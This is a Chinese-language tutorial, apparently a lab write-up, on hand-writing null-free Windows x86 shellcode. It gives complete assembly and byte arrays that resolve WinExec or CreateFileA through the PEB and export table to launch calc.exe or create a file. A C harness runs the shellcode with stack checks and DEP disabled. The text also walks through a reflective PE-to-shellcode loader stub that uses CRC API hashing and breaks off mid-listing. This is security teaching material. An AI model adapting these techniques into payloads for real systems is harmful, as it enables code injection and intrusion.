包含 0x00 會使得 shellcode 在緩沖區溢出攻擊上沒那么有用,可以通過改變尋址方式修改機器碼。
將原代碼修改為:
xor esi, esi
mov ebx, [fs:0x30 + esi]
objdump 結果:
401018: 31 f6 xor esi,esi
40101a: 64 8b 5e 30 mov ebx,DWORD PTR fs:[esi+0x30]
成功消除了 0x00 壞字符。
問題2 棧對齊
下面的代碼會導致棧對齊問題:
xor esi, esi
push esi ; null terminated
push 0x63
pushw 0x6578
push 0x456e6957
push esi
和 push 0x63
后,棧均是 4 字節對齊。pushw 0x6578
后,棧變為 2 字節對齊。push 0x456e6957
后,棧仍然是 2 字節對齊。這導致調用 WinExec
時,棧不是 4 字節對齊,在 Window 10 以下的版本運行 shellcode
就可能會出現問題。
為了說明這個問題,可以在 x32dbg 上進行調試
可以用下面的代碼解決這個問題。每次 push
操作都使棧是 4 字節對齊。
xor esi, esi
push esi ; null terminated
push 0x636578
push 0x456e6957
mov [ebp - 4], esp ; var4 = "WinExec\x00"
問題3 問題 2 導致的壞字符
上面的代碼可以解決棧對齊的問題,但是帶來了新的壞字符問題,下面是反匯編結果:
401007: 31 f6 xor esi,esi
401009: 56 push esi
40100a: 68 78 65 63 00 push 0x636578
40100f: 68 57 69 6e 45 push 0x456e6957
push 0x636578
指令出現了 0x00 壞字符,所以還需要再修改。
xor esi, esi
pushw si ; null terminated
push 0x63
pushw 0x6578
push 0x456e6957
這樣修改,先 push
兩個字節,再 push
四個字節,push
兩個字節,push
四個字節,最終棧還是四字節對齊。對應的機器碼:
401007: 31 f6 xor esi,esi
401009: 66 56 push si
40100b: 6a 63 push 0x63
40100d: 66 68 78 65 pushw 0x6578
401011: 68 57 69 6e 45 push 0x456e6957
可以看到成功消除了 0x00 壞字符。
最終的 shellcode:
format PE console
use32
entry start
start:
; establish a new stack frame
pushad
push ebp
mov ebp, esp
sub esp, 0x18 ; alloc for local variables
xor esi, esi
pushw si ; null terminated
push 0x63
pushw 0x6578
push 0x456e6957
mov [ebp - 4], esp ; var4 = "WinExec\x00"
; find kernel32.dll
xor esi, esi
mov ebx, [fs:0x30 + esi]
mov ebx, [ebx + 0x0c] ; &PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; &InMemoryModuleList
mov ebx, [ebx] ; InMemoryOrderModuleList->next(ntdll.dll)
mov ebx, [ebx] ; InMemoryOrderModuleList->next->next(kernel32.dll)
mov ebx, [ebx + 0x10] ; InMemoryOrderModuleList->next->next->base
mov [ebp - 8], ebx ; var8 = kernel32.dll base address
; find WinExec Address
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; Address of PE signature
mov eax, [eax + 0x78] ; RVA of Export Table
add eax, ebx ; Address of Export Table
mov ecx, [eax + 0x24] ; RVA of Ordinal Table
add ecx, ebx ; address of Ordinal Table
mov [ebp - 0x0c], ecx ; var12 = address of Ordinal Table
mov edi, [eax + 0x20] ; RVA of Name Pointer Table
add edi, ebx ; address of Name Pointer Table
mov [ebp - 0x10], edi ; var16 = address of Name Pointer Table
mov edx, [eax + 0x1c] ; RVA of Address Table
add edx, ebx ; Address of Address Table
mov [ebp - 0x14], edx ; var20 = address of Address Table
mov edx, [eax + 0x14] ; Number of exported functions
xor eax, eax ; counter = 0
.loop:
mov edi, [ebp - 0x10] ; edi = var16 = address of Name Pointer Table
mov esi, [ebp - 4] ; esi = var4 = "WinExec\x00"
xor ecx, ecx
cld ; set DF = 0 process string left to right
mov edi, [edi + eax * 4]; Entry of Name Pointer Table is 4 bytes long
add edi, ebx ; address of string
add cx, 8 ; length to compare
repe cmpsb ; compare first 8 bytes in
; esi and edi. ZF=1 if equal, ZF=0 if not
jz start.found
inc eax ; counter++
cmp eax, edx ; check if last function is reached
jb start.loop
add esp, 0x24
jmp start.end ; not found, jmp to end
.found:
; eax holds the position
mov ecx, [ebp - 0x0c] ; ecx = var12 = address of Ordinal Table
mov edx, [ebp - 0x14] ; edx = var20 = address of Address Table
mov ax, [ecx + eax * 2] ; ax = ordinal number
mov eax, [edx + eax * 4]; eax = RVA of function
add eax, ebx ; eax = address of fuction
; call function
xor edx, edx
push edx ; null termination
push 6578652eh
push 636c6163h
push 5c32336dh
push 65747379h
push 535c7377h
push 6f646e69h
push 575c3a43h
mov esi, esp ; esi -> "C:\Windows\System32\calc.exe"
push 10 ; window state SW_SHOWDEFAULT
push esi ; "C:\Windows\System32\calc.exe"
call eax ; WinExec
add esp, 0x44 ; clear the stack
.end:
pop ebp
popad
ret
shellcode 測試
可以使用 010Editor
等工具把編譯好的目標文件中的代碼提取出來,下面是我利用 010Editor
提取的結果:
unsigned char sc[184] = {
0x60, 0x55, 0x89, 0xE5, 0x83, 0xEC, 0x18, 0x31, 0xF6, 0x66, 0x56, 0x6A, 0x63, 0x66, 0x68, 0x78,
0x65, 0x68, 0x57, 0x69, 0x6E, 0x45, 0x89, 0x65, 0xFC, 0x31, 0xF6, 0x64, 0x8B, 0x5E, 0x30, 0x8B,
0x5B, 0x0C, 0x8B, 0x5B, 0x14, 0x8B, 0x1B, 0x8B, 0x1B, 0x8B, 0x5B, 0x10, 0x89, 0x5D, 0xF8, 0x8B,
0x43, 0x3C, 0x01, 0xD8, 0x8B, 0x40, 0x78, 0x01, 0xD8, 0x8B, 0x48, 0x24, 0x01, 0xD9, 0x89, 0x4D,
0xF4, 0x8B, 0x78, 0x20, 0x01, 0xDF, 0x89, 0x7D, 0xF0, 0x8B, 0x50, 0x1C, 0x01, 0xDA, 0x89, 0x55,
0xEC, 0x8B, 0x50, 0x14, 0x31, 0xC0, 0x8B, 0x7D, 0xF0, 0x8B, 0x75, 0xFC, 0x31, 0xC9, 0xFC, 0x8B,
0x3C, 0x87, 0x01, 0xDF, 0x66, 0x83, 0xC1, 0x08, 0xF3, 0xA6, 0x74, 0x0A, 0x40, 0x39, 0xD0, 0x72,
0xE5, 0x83, 0xC4, 0x26, 0xEB, 0x3F, 0x8B, 0x4D, 0xF4, 0x8B, 0x55, 0xEC, 0x66, 0x8B, 0x04, 0x41,
0x8B, 0x04, 0x82, 0x01, 0xD8, 0x31, 0xD2, 0x52, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61,
0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73, 0x74, 0x65, 0x68, 0x77, 0x73, 0x5C,
0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C, 0x57, 0x89, 0xE6, 0x6A, 0x0A, 0x56,
0xFF, 0xD0, 0x83, 0xC4, 0x46, 0x5D, 0x61, 0xC3
};
然后編寫測試程序,將 shellcode 解析為函數指針並調用。
int main(int argc, char const *argv[])
{
((void(*)())sc)();
return 0;
}
可以使用 gcc
編譯,或者使用 msvc
編譯。使用 msvc
編譯時要加上 /GS-
參數關閉安全檢查並且關閉 DEP 防護。
編譯后運行就會打開計算器程序。
另外一個 shellcode
現在已經有一個調用 WinExec
函數打開計算機的 shellcode
,同理,可以寫一個調用 CreateFileA
函數創建文件的 shellcode
。
- 修改棧中
WinExec
字符串為OpenFileA
。
xor esi, esi
pushw si ; null terminated 2bytes
push 0x41 ; 4 bytes
pushw 0x656c ; 2 bytes
push 0x69466574 ; 4 bytes
push 0x61657243 ; 4 bytes
mov [ebp - 4], esp ; var4 = "CreateFileA\x00"
- 修改比較字符串長度,釋放堆棧的大小
add cx, 11 ; length to compare
...
add esp, 0x28 ; 0x18 + 2 + 4 + 2 + 4 + 4
jmp start.end ; not found, jmp to end
- 修改調用函數部分的代碼
; call function
push 0x74 ; null termination
push 0x78742e67
push 0x6e697867
push 0x6e616869
push 0x65772d34
push 0x32333038
push 0x30323033
push 0x39313032
mov esi, esp ; esi -> "2019302080324-weihangxing.txt"
xor edx, edx
push edx ; hTemplateFile = NULL
mov dl, 0x80 ; edx = 0x80
push edx ; dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
push 1 ; dwCreationDisposition = CREATE_NEW
xor edx, edx
push edx ; lpSecurityAttributes = NULL
push edx ; dwShareMode = do not share
mov dl, 1
sal edx, 30 ; edx = 1 << 30 = 0x40000000
push edx ; dwDesiredAccess = GENERIC_WRITE
push esi ; "2019302080324-weihangxing.txt"
call eax ; WinExec
add esp, 0x48 ; clear the stack
; 0x28 + 8 * 4 = 0x48
為了避免出現 0x00 字符,使用 edx
寄存器間接得到需要壓入堆棧的值。
最終的修改后的 shellcode
為:
format PE console
use32
entry start
start:
; establish a new stack frame
pushad
push ebp
mov ebp, esp
sub esp, 0x18 ; alloc for local variables
xor esi, esi
pushw si ; null terminated 2bytes
push 0x41 ; 4 bytes
pushw 0x656c ; 2 bytes
push 0x69466574 ; 4 bytes
push 0x61657243 ; 4 bytes
mov [ebp - 4], esp ; var4 = "CreateFileA\x00"
; find kernel32.dll
xor esi, esi
mov ebx, [fs:0x30 + esi]
mov ebx, [ebx + 0x0c] ; &PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; &InMemoryModuleList
mov ebx, [ebx] ; InMemoryOrderModuleList->next(ntdll.dll)
mov ebx, [ebx] ; InMemoryOrderModuleList->next->next(kernel32.dll)
mov ebx, [ebx + 0x10] ; InMemoryOrderModuleList->next->next->base
mov [ebp - 8], ebx ; var8 = kernel32.dll base address
; find CreateFileA Address
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; Address of PE signature
mov eax, [eax + 0x78] ; RVA of Export Table
add eax, ebx ; Address of Export Table
mov ecx, [eax + 0x24] ; RVA of Ordinal Table
add ecx, ebx ; address of Ordinal Table
mov [ebp - 0x0c], ecx ; var12 = address of Ordinal Table
mov edi, [eax + 0x20] ; RVA of Name Pointer Table
add edi, ebx ; address of Name Pointer Table
mov [ebp - 0x10], edi ; var16 = address of Name Pointer Table
mov edx, [eax + 0x1c] ; RVA of Address Table
add edx, ebx ; Address of Address Table
mov [ebp - 0x14], edx ; var20 = address of Address Table
mov edx, [eax + 0x14] ; Number of exported functions
xor eax, eax ; counter = 0
.loop:
mov edi, [ebp - 0x10] ; edi = var16 = address of Name Pointer Table
mov esi, [ebp - 4] ; esi = var4 = "WinExec\x00"
xor ecx, ecx
cld ; set DF = 0 process string left to right
mov edi, [edi + eax * 4]; Entry of Name Pointer Table is 4 bytes long
add edi, ebx ; address of string
add cx, 11 ; length to compare
repe cmpsb ; compare first 8 bytes in
; esi and edi. ZF=1 if equal, ZF=0 if not
jz start.found
inc eax ; counter++
cmp eax, edx ; check if last function is reached
jb start.loop
add esp, 0x28 ; 0x18 + 2 + 4 + 2 + 4 + 4
jmp start.end ; not found, jmp to end
.found:
; eax holds the position
mov ecx, [ebp - 0x0c] ; ecx = var12 = address of Ordinal Table
mov edx, [ebp - 0x14] ; edx = var20 = address of Address Table
mov ax, [ecx + eax * 2] ; ax = ordinal number
mov eax, [edx + eax * 4]; eax = RVA of function
add eax, ebx ; eax = address of fuction
; call function
push 0x74 ; null termination
push 0x78742e67
push 0x6e697867
push 0x6e616869
push 0x65772d34
push 0x32333038
push 0x30323033
push 0x39313032
mov esi, esp ; esi -> "2019302080324-weihangxing.txt"
xor edx, edx
push edx ; hTemplateFile = NULL
mov dl, 0x80 ; edx = 0x80
push edx ; dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
push 1 ; dwCreationDisposition = CREATE_NEW
xor edx, edx
push edx ; lpSecurityAttributes = NULL
push edx ; dwShareMode = do not share
mov dl, 1
sal edx, 30 ; edx = 1 << 30 = 0x40000000
push edx ; dwDesiredAccess = GENERIC_WRITE
push esi ; "2019302080324-weihangxing.txt"
call eax ; WinExec
add esp, 0x48 ; clear the stack
; 0x28 + 8 * 4 = 0x48
.end:
pop ebp
popad
ret
使用 010 Editor 提取為 c 代碼:
unsigned char sc[204] = {
0x60, 0x55, 0x89, 0xE5, 0x83, 0xEC, 0x18, 0x31, 0xF6, 0x66, 0x56, 0x6A, 0x41, 0x66, 0x68, 0x6C,
0x65, 0x68, 0x74, 0x65, 0x46, 0x69, 0x68, 0x43, 0x72, 0x65, 0x61, 0x89, 0x65, 0xFC, 0x31, 0xF6,
0x64, 0x8B, 0x5E, 0x30, 0x8B, 0x5B, 0x0C, 0x8B, 0x5B, 0x14, 0x8B, 0x1B, 0x8B, 0x1B, 0x8B, 0x5B,
0x10, 0x89, 0x5D, 0xF8, 0x8B, 0x43, 0x3C, 0x01, 0xD8, 0x8B, 0x40, 0x78, 0x01, 0xD8, 0x8B, 0x48,
0x24, 0x01, 0xD9, 0x89, 0x4D, 0xF4, 0x8B, 0x78, 0x20, 0x01, 0xDF, 0x89, 0x7D, 0xF0, 0x8B, 0x50,
0x1C, 0x01, 0xDA, 0x89, 0x55, 0xEC, 0x8B, 0x50, 0x14, 0x31, 0xC0, 0x8B, 0x7D, 0xF0, 0x8B, 0x75,
0xFC, 0x31, 0xC9, 0xFC, 0x8B, 0x3C, 0x87, 0x01, 0xDF, 0x66, 0x83, 0xC1, 0x0B, 0xF3, 0xA6, 0x74,
0x0A, 0x40, 0x39, 0xD0, 0x72, 0xE5, 0x83, 0xC4, 0x28, 0xEB, 0x4E, 0x8B, 0x4D, 0xF4, 0x8B, 0x55,
0xEC, 0x66, 0x8B, 0x04, 0x41, 0x8B, 0x04, 0x82, 0x01, 0xD8, 0x6A, 0x74, 0x68, 0x67, 0x2E, 0x74,
0x78, 0x68, 0x67, 0x78, 0x69, 0x6E, 0x68, 0x69, 0x68, 0x61, 0x6E, 0x68, 0x34, 0x2D, 0x77, 0x65,
0x68, 0x38, 0x30, 0x33, 0x32, 0x68, 0x33, 0x30, 0x32, 0x30, 0x68, 0x32, 0x30, 0x31, 0x39, 0x89,
0xE6, 0x31, 0xD2, 0x52, 0xB2, 0x80, 0x52, 0x6A, 0x01, 0x31, 0xD2, 0x52, 0x52, 0xB2, 0x01, 0xC1,
0xE2, 0x1E, 0x52, 0x56, 0xFF, 0xD0, 0x83, 0xC4, 0x48, 0x5D, 0x61, 0xC3
};
編譯運行 shellcode,可以看到成功創建了文件。
PE 文件轉 shellcode
能不能從 PE 文件直接生成 shellcode 呢?答案應該是可以,但是比較復雜。
為了實現從 PE 文件到 shellcode 的轉換,有幾個問題需要仔細考慮一下:
- 如何將 PE 裝載入內存中
- 如何解決引入 DLL 的問題
- 如何解決重定位的問題
對於第一個問題,可以模擬 PE 文件加載到內存的過程,然后保存為新的 PE 文件。新的 PE 文件每個節的 PointerToRaw 和 VirtualAddress 是相等的。
有了前面手動編寫 shellcode 的基礎,后兩個問題就變得較為簡單。大概的步驟如下:
- 找到 kernel32.dll 的地址
- 找到 GetProcAddress 和 LoadLibraryA 的地址
- 遍歷 Import Directory Table
- 使用 LoadLibraryA 加載所需的 DLL 文件
- 遍歷引入函數 Import Name Table 和 Import Address Table
- 使用 GetProcAddress 得到引入函數的地址,填寫 Import Address Table
- 遍歷 Relocation Block,手動重定位
這相當於手動寫了一個較為簡易的 PE loader,稱為 stub 程序。stub 程序一般比較大,為了實現修改后的 shellcode 仍然是一個 PE 文件的目的,可以將 stub 程序附在 PE 文件末尾,修改 PE 的 DOS header,由修改后的 PE DOS Header 中的代碼跳轉到 stub 程序中。stub 程序完成加載 DLL 和重定位,然后跳轉到 PE 的 EntryPoint。
但是,這種方式產生的 shellcode 是相當粗糙的,很有可能會產生 0x00 壞字符。同時,不是所有的 PE 文件都可以用這種方式轉為 shellcode。如果 PE 文件本身沒有重定位表,也就是說,PE 文件中遠過程調用 的 操作數為函數在引入表的虛擬地址,這樣的 PE 在轉換時需要修改遠過程調用的參數,比較復雜,就不能通過這種方式轉為 shellcode。
下面詳細說明這種方式的轉換過程。
模擬 PE 裝載入內存的過程
shellcode 對於操作系統來說是一段數據,不會按照 PE 文件的方式去解析並加載進內存中。那么,PE 文件轉為 shellcode 之前,我們需要手動完成這個映射過程。這樣,shellcode 加載進內存后就相當於 PE 文件被加載進入內存中。
PE 文件裝載的過程就是 PE 中每個節映射到內存的過程。
我們要做的就是模擬這個過程,區別是映射到一個新的文件中。
- 新建文件,大小為 SizeOfImage
- 根據每個節的 VirtualAddress 和 RawDataSize,復制節的內容到新的文件
- 修改每個節的 PointertoRawData,rawDataSize
- 修改 OptionalHeader 的 FileAlignment
創建新 PE 文件
新建文件,讀入 stub 程序后,計算新文件大小。
size_t pe2sh(PE_file* ppeFile, char **shellcode, char* savePath) {
DWORD imageSize = ppeFile->pimageNTHeaders->OptionalHeader.SizeOfImage;
// read stub program
BYTE* stub;
DWORD stubSize = readStubFile(&stub);
// new file
// DWORD stubSizeAligned = align(stubSize, ppeFile->pimageNTHeaders->OptionalHeader.SectionAlignment);
DWORD newfileSize = imageSize + stubSize;
BYTE* newfile = (BYTE*)malloc(newfileSize);
if (newfile == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
memset(newfile, 0, newfileSize);
將舊 PE 文件中每一個節裝載到新 PE 文件中
復制每個節到對應的位置,復制 PE 頭部信息。
// copy sections to their virtual address
WORD sectionNumbers = ppeFile->pimageNTHeaders->FileHeader.NumberOfSections;
for (size_t i = 0; i < sectionNumbers; i++) {
PIMAGE_SECTION_HEADER phdr = ppeFile->ppimageSectionHeader[i];
if (phdr->SizeOfRawData == 0 || phdr->Misc.VirtualSize == 0) continue;
LPVOID destAddr = phdr->VirtualAddress + (BYTE*)newfile;
LPVOID rawAddr = phdr->PointerToRawData + (BYTE*)ppeFile->innerBuffer;
DWORD copySize = phdr->SizeOfRawData;
memcpy(destAddr, rawAddr, copySize);
}
// copy headers
memcpy(newfile, ppeFile->innerBuffer, ppeFile->pimageNTHeaders->OptionalHeader.SizeOfHeaders);
修改新的 PE 文件的節頭信息。
// parse new PE file
PE_file newPEFile;
newPEFile.innerBuffer = newfile;
newPEFile.fileSize = newfileSize;
_PEParse(&newPEFile);
// overwrite headers
// file alignment
newPEFile.pimageNTHeaders->OptionalHeader.FileAlignment =
newPEFile.pimageNTHeaders->OptionalHeader.SectionAlignment;
// update section headers
for (size_t i = 0; i < sectionNumbers; i++) {
PIMAGE_SECTION_HEADER phdr = newPEFile.ppimageSectionHeader[i];
phdr->Misc.VirtualSize = align(phdr->Misc.VirtualSize,
newPEFile.pimageNTHeaders->OptionalHeader.SectionAlignment);
phdr->PointerToRawData = phdr->VirtualAddress;
phdr->SizeOfRawData = phdr->Misc.VirtualSize;
}
// copy stub program
memcpy(newfile + imageSize, stub, stubSize);
// overwrite DOS header
overwriteHeader(newfile, imageSize);
// save file
PESave(&newPEFile, savePath);
// free buffer
free(stub);
*shellcode = newfile;
return newfileSize;
}
手動引入 DLL
手動引入 DLL 的方法:
- 找到 kernel32.dll 的地址
- 找到 GetProcAddress 和 LoadLibraryA 的地址
- 遍歷 Import Directory Table
- 使用 LoadLibraryA 加載所需的 DLL 文件
- 遍歷引入函數 Import Name Table 和 Import Address Table
- 使用 GetProcAddress 得到引入函數的地址,填寫 Import Address Table
有了上面手動編寫 shellcode 的基礎,可以試着理解下面的代碼。唯一不同的地方是尋找函數對比的是函數名字的 CRC 校驗值,而不是直接對比函數名字。這種方法的優點是需要對比的內容大小固定為 4 字節,缺點是較為麻煩。如果對於 CRC 算法不清楚,建議學習一下 CRC 原理和實現。代碼的注釋寫得非常詳細,在這里就不多重復敘述整個過程。
bits 32
%include "hldr32.inc"
;-----------------------------------------------------------------------------
;recover kernel32 image base
;-----------------------------------------------------------------------------
hldr_begin:
pushad ;must save ebx/edi/esi/ebp
; push eax, ecx, edx, ebx, original esp, ebp, esi, edi
push tebProcessEnvironmentBlock ; 0x30
pop eax ; eax = 0x30
fs mov eax, dword [eax] ; eax = address of PEB
mov eax, dword [eax + pebLdr] ; eax = address of PEB_LDR_DATA
mov esi, dword [eax + ldrInLoadOrderModuleList] ; eax = first entry of ldrInLoadOrderModuleList
lodsd ; eax = second entry, ntdll.dll
xchg eax, esi
lodsd ; eax = third entry, kernel32.dll
mov ebp, dword [eax + mlDllBase] ; eax = kernel32.dll base address
call parse_exports
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
dd 0C97C1FFFh ;GetProcAddress
dd 03FC1BD8Dh ;LoadLibraryA
db 0
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
parse_exports:
pop esi ; esi = address of API CRC table
mov ebx, ebp ; ebx = base address of kernel32.dll
mov eax, dword [ebp + lfanew] ; eax = RVA of PE signature
add ebx, dword [ebp + eax + IMAGE_DIRECTORY_ENTRY_EXPORT] ; ebx = address of Export Table
cdq ; edx = 0, eax > 0
walk_names:
mov eax, ebp ; eax = base address of kernel32.dll
mov edi, ebp ; edi = base address of kernel32.dll
inc edx ; edx++
add eax, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfNames] ; eax = address of Name Pointer Table
add edi, dword [eax + edx * 4] ; edi = edx'th function Name
or eax, -1 ; eax = 0xffffffff
crc_outer:
xor al, byte [edi] ; al = ~byte [edi]
push 8
pop ecx ; ecx = 8
crc_inner:
shr eax, 1 ; eax >> 1
jnc crc_skip ; if eax[0] != 1
xor eax, 0edb88320h ; crc operation
crc_skip:
loop crc_inner
inc edi
cmp byte [edi], cl
jne crc_outer
not eax
cmp dword [esi], eax ; compare API CRC
jne walk_names
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
; found GetProcAddress
; edx = position of GetProcAddress
mov edi, ebp ; edi = base address of kernel32.dll
mov eax, ebp ; eax = base address of kernel32.dll
add edi, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfNameOrdinals] ; edi = address of Ordinal Table
movzx edi, word [edi + edx * 2] ; edi = Orinal Number of GetProcAddress
add eax, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfFunctions] ; eax = address of Address Table
mov eax, dword [eax + edi * 4] ; eax = RVA of GetProcAddress
add eax, ebp ; eax = address of GetProcAddress
push eax ; push address of GetProcAddress/LoadLibraryA
lodsd
sub cl, byte [esi]
jnz walk_names
;-----------------------------------------------------------------------------
;save the pointers to the PE structure
;-----------------------------------------------------------------------------
; stack looks like:
; ImageBase, pushed by header code
; ret to header code 4 bytes
; pushad registers 0x20 bytes
; GetProcAddress 4 bytes
; LoadLibraryA <== esp
mov esi, dword [esp + krncrcstk_size + 20h + 4] ; esi = ImageBase
mov ebp, dword [esi + lfanew] ; ebp = RVA of PE signature
add ebp, esi ; ebp = address of PE signature
push esi
mov ebx, esp ; ebx = address of ImageBase
mov edi, esi ; edi = ImageBase
;-----------------------------------------------------------------------------
;import DLL
;-----------------------------------------------------------------------------
pushad
mov cl, IMAGE_DIRECTORY_ENTRY_IMPORT
mov ebp, dword [ecx + ebp] ; ebp = RVA of Import Table
test ebp, ebp ; check if PE has import table
je import_popad ; if import table not found, skip loading
add ebp, edi ; ebp = address of Import Table
import_dll:
mov ecx, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idName] ; ecx = RVA of Import DLL Name
jecxz import_popad ; jmp if ecx == 0
add ecx, dword [ebx] ; ecx = address of Import DLL Name
push ecx ; address of Import DLL Name
call dword [ebx + mapstk_size + krncrcstk.kLoadLibraryA] ; LoadLibraryA
xchg ecx, eax
mov edi, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idFirstThunk] ; edi = RVA of Import Address Table
mov esi, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idOriginalFirstThunk]; esi = RVA of Import Name Table
test esi, esi ; if OriginalFirstThunk is NULL...
cmove esi, edi ; use FirstThunk instead of OriginalFirstThunk
add esi, dword [ebx] ; convert RVA to VA
add edi, dword [ebx]
import_thunks:
lodsd ; eax = [esi], RVA of function name
test eax, eax
je import_next ; reach 0x000000
btr eax, 31
jc import_push
add eax, dword [ebx]; address of function Name
inc eax
inc eax
import_push:
push ecx ; address of Import DLL Name, save ecx
push eax ; address of function name
push ecx ; address of Import DLL Name
call dword [ebx + mapstk_size + krncrcstk.kGetProcAddress]
pop ecx ; restore ecx
stosd ; store address of function to [edi]
jmp import_thunks
import_next:
add ebp, _IMAGE_IMPORT_DESCRIPTOR_size ; turn to import next DLL functions
jmp import_dll
import_popad:
popad
手動重定位
不同重定位類型的重定位方式有很大不同,方便起見,我們只實現基礎的 IMAGE_REL_BASED_HIGHLOW 和 IMAGE_REL_BASED_ABSOLUTE。
IMAGE_REL_BASED_ABSOLUTE 類型是用來填充對齊重定位塊的,可以直接忽略。IMAGE_REL_BASED_HIGHLOW 的類型描述如下,摘自微軟文檔。
The base relocation applies all 32 bits of the difference to the 32-bit field at offset.
這種類型的重定位方式儲存的是與 32 位地址的偏移量。因此只需要重新計算偏移量即可,舊的偏移量根據舊的 ImageBase 計算得到,新偏移量 = 舊偏移量 - 舊 ImageBase + 新 ImageBase。
使用匯編代碼實現,代碼的注釋比較詳細:
;-----------------------------------------------------------------------------
;apply relocations
;-----------------------------------------------------------------------------
mov cl, IMAGE_DIRECTORY_ENTRY_RELOCS
lea edx, dword [ebp + ecx] ; relocation entry in data directory
add edi, dword [edx] ; address of relocation block table
xor ecx, ecx
reloc_block:
pushad
mov ecx, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock] ; ecx = size of block
sub ecx, IMAGE_BASE_RELOCATION_size ; ecx = size of block - 8(meta info size)
cdq ; edx = 0, because eax = 0
reloc_addr:
movzx eax, word [edi + edx + IMAGE_BASE_RELOCATION_size] ; eax = firt reloc entry (16bits: 4 bits type, 12 bits offset)
push eax ; save reloc entry
and ah, 0f0h ; get type of reloc entry
cmp ah, IMAGE_REL_BASED_HIGHLOW << 4 ; if reloc type == HIGHLOW
pop eax ; restore reloc entry
jne reloc_abs ; another type not HIGHLOW
and ah, 0fh ; get offset
add eax, dword [edi + IMAGE_BASE_RELOCATION.rePageRVA] ; eax = RVA of reloc address
add eax, dword [ebx] ; eax = address of reloc address
mov esi, dword [eax] ; esi = old reloc address
sub esi, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohImageBasex]
add esi, dword [ebx] ; new reloc address = old reloc address - old ImageBase + new ImageBase
mov dword [eax], esi ; change reloc address
xor eax, eax ; eax = 0
reloc_abs:
test eax, eax ; check for IMAGE_REL_BASED_ABSOLUTE
jne hldr_exit ; not supported relocation type
inc edx ; counter += 2
inc edx
cmp ecx, edx ; reloc entry left
jg reloc_addr
popad ; relocated a block
add ecx, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock] ; ecx = current reloc block size
add edi, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock] ; edi = next reloc position
cmp dword [edx + 4], ecx ; if end of reloc block is reached
jg reloc_block
跳轉到 EntryPoint
xor ecx, ecx
mov eax, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohAddressOfEntryPoint]
add eax, dword [ebx]
call eax
PE 執行后的退出代碼
hldr_exit:
lea esp, dword [ebx + mapstk_size + krncrcstk_size]
popad
ret 4
hldr_end:
最終的 stub 程序代碼:
hldr32.asm
bits 32
%include "hldr32.inc"
;-----------------------------------------------------------------------------
;recover kernel32 image base
;-----------------------------------------------------------------------------
hldr_begin:
pushad ;must save ebx/edi/esi/ebp
; push eax, ecx, edx, ebx, original esp, ebp, esi, edi
push tebProcessEnvironmentBlock ; 0x30
pop eax ; eax = 0x30
fs mov eax, dword [eax] ; eax = address of PEB
mov eax, dword [eax + pebLdr] ; eax = address of PEB_LDR_DATA
mov esi, dword [eax + ldrInLoadOrderModuleList] ; eax = first entry of ldrInLoadOrderModuleList
lodsd ; eax = second entry, ntdll.dll
xchg eax, esi
lodsd ; eax = third entry, kernel32.dll
mov ebp, dword [eax + mlDllBase] ; eax = kernel32.dll base address
call parse_exports
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
dd 0C97C1FFFh ;GetProcAddress
dd 03FC1BD8Dh ;LoadLibraryA
db 0
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
parse_exports:
pop esi ; esi = address of API CRC table
mov ebx, ebp ; ebx = base address of kernel32.dll
mov eax, dword [ebp + lfanew] ; eax = RVA of PE signature
add ebx, dword [ebp + eax + IMAGE_DIRECTORY_ENTRY_EXPORT] ; ebx = address of Export Table
cdq ; edx = 0, eax > 0
walk_names:
mov eax, ebp ; eax = base address of kernel32.dll
mov edi, ebp ; edi = base address of kernel32.dll
inc edx ; edx++
add eax, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfNames] ; eax = address of Name Pointer Table
add edi, dword [eax + edx * 4] ; edi = edx'th function Name
or eax, -1 ; eax = 0xffffffff
crc_outer:
xor al, byte [edi] ; al = ~byte [edi]
push 8
pop ecx ; ecx = 8
crc_inner:
shr eax, 1 ; eax >> 1
jnc crc_skip ; if eax[0] != 1
xor eax, 0edb88320h ; crc operation
crc_skip:
loop crc_inner
inc edi
cmp byte [edi], cl
jne crc_outer
not eax
cmp dword [esi], eax ; compare API CRC
jne walk_names
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
; found GetProcAddress
; edx = position of GetProcAddress
mov edi, ebp ; edi = base address of kernel32.dll
mov eax, ebp ; eax = base address of kernel32.dll
add edi, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfNameOrdinals] ; edi = address of Ordinal Table
movzx edi, word [edi + edx * 2] ; edi = Orinal Number of GetProcAddress
add eax, dword [ebx + _IMAGE_EXPORT_DIRECTORY.edAddressOfFunctions] ; eax = address of Address Table
mov eax, dword [eax + edi * 4] ; eax = RVA of GetProcAddress
